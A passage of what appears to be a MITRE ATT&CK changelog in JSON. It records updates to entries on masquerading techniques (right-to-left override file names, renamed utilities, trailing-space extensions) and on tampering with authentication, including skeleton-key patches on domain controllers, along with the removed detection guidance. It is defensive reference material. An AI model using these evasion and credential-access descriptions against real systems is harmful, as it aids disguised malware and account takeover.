"mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/004", + "external_id": "T1036.004" + }, + { + "source_name": "Fysbis Dr Web Analysis", + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "url": "https://vms.drweb.com/virus/?i=4276269" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "Systemd Service Units", + "description": "Freedesktop.org. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 16, 2020.", + "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html" + }, + { + "source_name": "TechNet Schtasks", + "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Scheduled Job: Scheduled Job Modification\", \"Service: Service Creation\", \"Command: Command Execution\", \"Service: Service Metadata\", \"Scheduled Job: Scheduled Job Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.215000+00:00\", \"old_value\": \"2025-04-15 22:48:29.215000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0003: Scheduled Job (Scheduled Job Metadata)", + "DS0003: Scheduled Job (Scheduled Job Modification)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0019: Service (Service Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0117: Detection of Masqueraded Tasks or Services with Suspicious Naming and Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-10 20:43:10.239000+00:00", + "modified": "2025-10-24 17:48:28.950000+00:00", + "name": "Match Legitimate Resource Name or Location", + "description": "Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation. \n\nThis may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.(Citation: Aquasec Kubernetes Backdoor 2023)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/005", + "external_id": "T1036.005" + }, + { + "source_name": "Twitter ItsReallyNick Masquerading Update", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/1055321652777619457" + }, + { + "source_name": "Docker Images", + "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021.", + "url": "https://docs.docker.com/engine/reference/commandline/images/" + }, + { + "source_name": "Elastic Masquerade Ball", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball" + }, + { + "source_name": "Aquasec Kubernetes Backdoor 2023", + "description": "Michael Katchinskiy and Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved March 24, 2025.", + "url": "https://www.aquasec.com/blog/leveraging-kubernetes-rbac-to-backdoor-clusters/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Image: Image Metadata\", \"Process: Process Metadata\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.950000+00:00\", \"old_value\": \"2025-04-15 19:58:11.443000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\\n\\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\\n\\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\\n-\\n-If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\\n-\\n-In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1045: Code Signing" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0007: Image (Image Metadata)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0347: Detection Strategy for Masquerading via Legitimate Resource Name or Location" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-10 20:03:11.691000+00:00", + "modified": "2025-10-24 17:49:18.517000+00:00", + "name": "Rename Legitimate Utilities", + "description": "Adversaries may rename legitimate / system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for legitimate utilities adversaries are capable of abusing, including both built-in binaries and tools such as PSExec, AutoHotKey, and IronPython.(Citation: LOLBAS Main Site)(Citation: Huntress Python Malware 2025)(Citation: The DFIR Report AutoHotKey 2023)(Citation: Splunk Detect Renamed PSExec) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe).(Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.(Citation: F-Secure CozyDuke)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/003", + "external_id": "T1036.003" + }, + { + "source_name": "Twitter ItsReallyNick Masquerading Update", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/1055321652777619457" + }, + { + "source_name": "Elastic Masquerade Ball", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball" + }, + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + }, + { + "source_name": "LOLBAS Main Site", + "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.", + "url": "https://lolbas-project.github.io/" + }, + { + "source_name": "Huntress Python Malware 2025", + "description": "Matthew Brennan. (2024, July 5). Snakes on a Domain: An Analysis of a Python Malware Loader. Retrieved April 3, 2025.", + "url": "https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader" + }, + { + "source_name": "Splunk Detect Renamed PSExec", + "description": "Splunk. (2025, February 24). Detection: Detect Renamed PSExec. Retrieved April 3, 2025.", + "url": "https://research.splunk.com/endpoint/683e6196-b8e8-11eb-9a79-acde48001122/" + }, + { + "source_name": "The DFIR Report AutoHotKey 2023", + "description": "The DFIR Report. (2023, February 6). Collect, Exfiltrate, Sleep, Repeat. Retrieved April 3, 2025.", + "url": "https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Anderson, @\u200cnosecurething, Huntress" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Metadata\", \"Command: Command Execution\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.517000+00:00\", \"old_value\": \"2025-04-15 19:59:02.921000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0005: Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-10 19:55:29.385000+00:00", + "modified": "2025-10-24 17:48:58.683000+00:00", + "name": "Right-to-Left Override", + "description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/002", + "external_id": "T1036.002" + }, + { + "source_name": "Trend Micro PLEAD RTLO", + "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/" + }, + { + "source_name": "Kaspersky RTLO Cyber Crime", + "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.", + "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/" + }, + { + "source_name": "Infosecinstitute RTLO Technique", + "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.", + "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.683000+00:00\", \"old_value\": \"2025-04-15 23:00:50.575000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection methods should include looking for common formats of RTLO characters within filenames such as \\\\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0527: Right-to-Left Override Masquerading Detection via Filename and Execution Context" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-10 20:47:10.082000+00:00", + "modified": "2025-10-24 17:49:32.287000+00:00", + "name": "Space after Filename", + "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/006", + "external_id": "T1036.006" + }, + { + "source_name": "Mac Backdoors are back", + "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.", + "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Erye Hernandez, Palo Alto Networks" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.287000+00:00\", \"old_value\": \"2025-04-25 14:48:22.412000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0292: Masquerading via Space After Filename - Behavioral Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:01:56.887000+00:00", + "modified": "2025-10-24 17:49:36.944000+00:00", + "name": "Modify Authentication Process", + "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556", + "external_id": "T1556" + }, + { + "source_name": "Clymb3r Function Hook Passwords Sept 2013", + "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", + "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + }, + { + "source_name": "Xorrior Authorization Plugins", + "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.", + "url": "https://xorrior.com/persistent-credential-theft/" + }, + { + "source_name": "Dell Skeleton", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" + }, + { + "source_name": "dump_pwd_dcsync", + "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.", + "url": "https://adsecurity.org/?p=2053" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Chris Ross @xorrior" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Network Devices", + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Process: Process Access\", \"Logon Session: Logon Session Creation\", \"Active Directory: Active Directory Object Modification\", \"User Account: User Account Authentication\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Creation\", \"File: File Creation\", \"User Account: User Account Modification\", \"File: File Modification\", \"Module: Module Load\", \"Cloud Service: Cloud Service Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.944000+00:00\", \"old_value\": \"2025-04-15 19:59:21.746000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages) and correlate then investigate the DLL files these files reference. \\n\\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\\n\\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \\n\\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\\n\\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\\n\\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n\\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,13 +0,0 @@\\n-Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages) and correlate then investigate the DLL files these files reference. \\n-\\n-Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\\n-\\n-Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \\n-\\n-Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\\n-\\n-Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\\n-\\n-Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n-\\n-Monitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\"}}}", + "previous_version": "2.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1025: Privileged Process Integrity", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration", + "M1032: Multi-factor Authentication", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0002: User Account (User Account Modification)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0011: Module (Module Load)", + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0025: Cloud Service (Cloud Service Modification)", + "DS0026: Active Directory (Active Directory Object Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0104: Detect Modification of Authentication Processes Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:05:02.399000+00:00", + "modified": "2025-10-24 17:49:27.324000+00:00", + "name": "Domain Controller Authentication", + "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/001", + "external_id": "T1556.001" + }, + { + "source_name": "Dell Skeleton", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": 